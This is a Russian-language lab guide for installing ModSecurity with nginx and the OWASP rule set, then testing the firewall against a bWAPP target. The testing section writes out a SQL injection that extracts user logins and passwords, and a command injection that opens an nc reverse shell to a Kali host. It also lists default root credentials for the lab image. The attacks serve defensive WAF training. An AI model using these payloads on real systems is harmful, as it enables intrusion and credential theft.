# Лабораторная работа 8. WAF
**Web Application Firewall** (сокращенно — **WAF**) - средства фильтрации трафика прикладного уровня, специально ориентированные на веб-приложения. Применение Web Application Firewall традиционно считается наиболее эффективным подходом к защите веб-ресурсов. WAF может быть реализован как облачный сервис, агент на веб-сервере или специализированное железное или виртуальное устройство.
## Инфраструктура

## Подготовка к работе
### ВАЖНО
Следите за использованием места на диске!!!

**Не допускайте заполнения до 100%, иначе придётся восстанавливать pnet с удалением всех ваших лабораторных работ. Увеличивать дисковое пространство строго по инструкции. Инструкция:**
https://pnetlab.com/pages/documentation?slug=how-to-expand-hdd-for-pnetlab
### Образы для WAF
#### Шаблон bWapp
Скачиваем отсюда https://disk.yandex.ru/d/K69QNh2RUxLnbA
#### Шаблон Ubuntu (modsecurity)
Скачиваем отсюда https://disk.yandex.ru/d/yqKs5h02EoulzA
Чтобы использовать эти образы, нужно переместить скачанные папки в PNET по пути:
`/opt/unetlab/addons/qemu/`
После чего в терминал pnet ввести команду:
`/opt/unetlab/wrappers/unl_wrapper -a fixpermissions`
#### Пример импорта с использованием FileZilla:

Разархивируем скачанные архивы с образами, затем перетащим их по нужному пути:


### Установка Nginx на сервере Modsecurity
Заходим на Modsecurity:
```
user: root
password: eve@123
```
**Команды выполняем от root**
1. Обновляем пакеты:
```
apt update && apt upgrade -y
reboot
```
2. Если Nginx уже установлен, необходимо его удалить:
```
systemctl stop nginx
apt-get purge nginx -y && apt autoremove nginx -y
```

Добавим репозиторий с nginx **для ubuntu 22**:
**Свою версию вы можете увидеть здесь:**

```
add-apt-repository ppa:ondrej/nginx -y && apt update
```

Если у вас **ubuntu 20**:
```
add-apt-repository ppa:ondrej/nginx-stable -y && apt update
```
Установим пакеты. Если будет предложено оставить текущий файл конфигурации nginx, то оставляем его:
```
apt install nginx-core nginx-common nginx nginx-full -y
```
Нам нужен исходный код для дальнейшей компиляции ModSec. Отредактируем файл (в предыдущих версиях вместо jammy будет другое):
```
nano /etc/apt/sources.list.d/ondrej-ubuntu-nginx-jammy.list
```
Отредактируем файл таким образом:

Обновим репозиторий:
```
apt update
```
Создадим директорию с исходным кодом и перейдём туда:
```
mkdir /usr/local/src/nginx && cd /usr/local/src/nginx
```
Загрузим исходные коды:
```
apt install dpkg-dev -y && sudo apt source nginx
```
Версии должны совпадать, обязательно проверьте:

## Modsecurity. Подготовка к работе
Для подкачки исходных файлов установим git:
```
apt install git -y
```
Скачиваем исходные файлы с гитхаба:
```
git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity /usr/local/src/ModSecurity/
```

Перейдём в папку:
```
cd /usr/local/src/ModSecurity/
```
И установим зависимости:
```
apt install gcc make build-essential autoconf automake libtool libcurl4-openssl-dev liblua5.3-dev libfuzzy-dev ssdeep gettext pkg-config libpcre3 libpcre3-dev libxml2 libxml2-dev libcurl4 libgeoip-dev libyajl-dev doxygen -y
```
Теперь нужно добавить `git submodule init` и обновить `git submodule update` модули гит:

Выполните команды:
```
./build.sh
./configure
make
make install
```

**Примечание:**
> При использовании команды ./configure игнорируйте сообщение fatal: No names found, cannot describe anything.
> При использовании команды make начнётся не быстрый процесс. Ускорить можно при помощи команды make -j 6, если на данной машине есть 6 выделенных ядер процессора.
## Установка коннектора nginx на Modsecurity
```
git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git /usr/local/src/ModSecurity-nginx/
```

Переходим в директорию nginx.XX.X - текущая версия, может отличаться в зависимости от даты выполнения работы, в данном случае директория будет с версией **/usr/local/src/nginx/nginx-1.24.0**:
```
cd /usr/local/src/nginx/nginx-1.24.0
```
Устанавливаем зависимости:
```
apt build-dep nginx -y && apt install uuid-dev -y
```
Выполняем конфигурацию:
```
./configure --with-compat --add-dynamic-module=/usr/local/src/ModSecurity-nginx
```

Выполняем сборку модулей:
```
make modules
```
Копируем динамический модуль:
```
cp objs/ngx_http_modsecurity_module.so /usr/share/nginx/modules/
```
## Конфигурирование ModSec: коннектор
Редактируем конфиг nginx:
`nano /etc/nginx/nginx.conf`
Нужно добавить указанную строчку в самый верх этой конфигурации (тут используется путь до файла, который был скопирован выше)
> load_module modules/ngx_http_modsecurity_module.so;
>
Теперь туда нужно добавить следующие строки. Расположить из нужно в секции **HTTP {}**
> modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/modsec-config.conf;

## Конфигурирование ModSec: файлы и правила
Создаем директорию:
`mkdir /etc/nginx/modsec/`
Копируем туда шаблон конфигурации:
`cp /usr/local/src/ModSecurity/modsecurity.conf-recommended /etc/nginx/modsec/modsecurity.conf`
И редактируем его:
`nano /etc/nginx/modsec/modsecurity.conf`
Hеобходимо установить WAF в режим активной блокировки атак, то строчку нужно поменять на:

Изменим параметры аудита:

> Доступные части журнала аудита:
>
> - A: Заголовок журнала аудита (обязательно).
> - B: Заголовки запросов.
> - C: Тело запроса (присутствует только в том случае, если тело запроса существует и ModSecurity настроен на его перехват. Для этого потребуется включить параметр SecRequestBodyAccess).
> - D: зарезервировано для промежуточных заголовков ответа; еще не реализовано.
> - E: Промежуточное тело ответа (присутствует только в том случае, если ModSecurity настроен на перехват тел ответов и если механизм журнала аудита настроен на его запись. Для перехвата тел ответов требуется, чтобы SecResponseBodyAccess был включен). Промежуточное тело ответа такое же, как и фактическое тело ответа, если ModSecurity не перехватывает промежуточное тело ответа, и в этом случае фактическое тело ответа будет содержать сообщение об ошибке (либо сообщение об ошибке Apache по умолчанию, либо страницу ErrorDocument).
> - F: Заголовки окончательного ответа (за исключением заголовков Date и Server, которые всегда добавляются Apache на позднем этапе доставки контента).
> - G: зарезервировано для фактического тела ответа; еще не реализовано.
> - H: Трейлер журнала аудита.
> - I: Эта часть не была реализована в ModSecurity v3.
> - J: Эта часть содержит информацию о файлах, загруженных с использованием кодировки multipart/form-data.
> - K: Эта часть не была реализована в ModSecurity v3.
> - Z: Конечная граница, обозначает конец записи (обязательно).
Теперь добавим правила обнаружения атак на примере правил OWASP:
`nano /etc/nginx/modsec/modsec-config.conf`
Добавим в файл строку **Include /etc/nginx/modsec/modsecurity.conf**:

Перенесем файл unicode.mapping **cp /usr/local/src/ModSecurity/unicode.mapping /etc/nginx/modsec/**.
И проверим, что конфиги nginx не вызывают конфликтов:
```
nginx -t
```

Если всё хорошо и конфилктов не вызвано, перезапускаем nginx:
```
systemctl restart nginx
```
## Установка правил
В данном примере используется v3.3.2, поэтому все последующие команды используют именно эти цифры. Если вы устанавливаете другую версию, будьте внимательнее при введении последующих команд. Вы можете переключиться в директорию, в которой храните загруженные файлы.
```
wget https://github.com/coreruleset/coreruleset/archive/refs/tags/v3.3.2.zip
```
Устанавливаем unzipapt:
```
apt install unzip -y
```
Распаковываем архив в нужную директорию:
```
unzip v3.3.2.zip -d /etc/nginx/modsec
```
Копируем файл эталонного конфига. Эталон лучше не удалять, он останется в виде бекапа конфига:
```
cp /etc/nginx/modsec/coreruleset-3.3.2/crs-setup.conf.example /etc/nginx/modsec/coreruleset-3.3.2/crs-setup.conf
```
Для активации правил изменим конфиг:
```
nano /etc/nginx/modsec/modsec-config.conf
```

Сохраним файл. Проверим работоспособность с помощью `sudo nginx -t` и перезапустим сервис, если всё хорошо `systemctl restart nginx`.

Чтобы проверить работоспособность решения, в консоль сервера введите:
```
tail -f /var/log/modsec_audit.log
```
Затем зайдите по http на данный сервер, используя следующий URL (IP зависит от адреса вашего сервера):
```
http://*IP адрес bwapp*/index.html?exec=/bin/bash
```
Примечание:
> Если Modsecurity сработает, вы увидите новые события в открытом журнале. Если при этом включен режим активных блокировок, в браузере отобразится ошибка 403.
> 
## Проксирование
Чтобы Modsecurity мог защищать сайт, необходимо создать обратное проксирование на данный сайт.
Отредактируем конфигурацию:
```
nano /etc/nginx/sites-enabled/default
```
Приведём конфигурацию под `location /` в следующий вид:

## Тестирование
Поскольку ModSecurity находится в режиме блокировки, то после попытки проведения атаки в окне браузера появится ошибка 403.
Воспользуемся машинкой Kali и перейдём по адресу `http://*IP адрес ModSecurity*/index.html?exec=/bin/bash`

**Примечание:**
> Пароль и логин выделены на скрине
После выбора сложности выберем эксплуатируемую уязвимость:

- также можно выбрать уязвимость в выпадающем списке:

**Используемая литература:**
https://timcore.ru/2021/05/24/14-ujazvimost-sql-injection-get-select/
https://timcore.ru/2021/05/18/9-ujazvimost-os-command-injection/
### SQL-Injection GET/Select
```
http://192.168.1.100/bWAPP/sqli_2.php?movie=777 union select 1,login,3,email,password,6,7 from users#&action=go
```
Этот запрос пытается извлечь данные из таблицы "users" с использованием оператора "union select", который позволяет объединять результаты нескольких запросов в один набор данных.
Запрос начинается с числа 777, которое не имеет значения и может быть любым числом. Затем следует оператор "union select", после которого перечисляются столбцы, которые мы хотим извлечь из таблицы "users". В данном случае пытаемся извлечь значения из столбцов "login", "email" и "password".
Знак "#" в конце запроса является символом комментария в SQL и используется для игнорирования оставшейся части запроса.
На Kali машинке мы увидим ошибку 403:

В логах сервера увидим следующее:

### OS Command Injection
Это тип атаки на приложение, предоставляющий злоумышленнику возможность несанкционированного выполнения команд операционной системы на некоторой машине.
**Примечание:** перед использованием команды узнайте ip адрес Kali, команда `ip a`
```
www.nsa.gov && nc -vn 192.168.1.102 4444 -e /bin/bash
```
Эта команда является командой для выполнения в терминале Linux и состоит из двух частей, разделенных оператором "&&":
1. www.nsa.gov - это URL-адрес сайта Национального управления по сигнальной разведке США. Эта часть команды не имеет отношения к выполнению команды в терминале.
2. nc -vn 192.168.1.102 4444 -e /bin/bash - это команда для установления соединения с IP-адресом 192.168.1.102 на порту 4444 и запуска оболочки bash на удаленном компьютере.

В логах сервера увидим следующее:
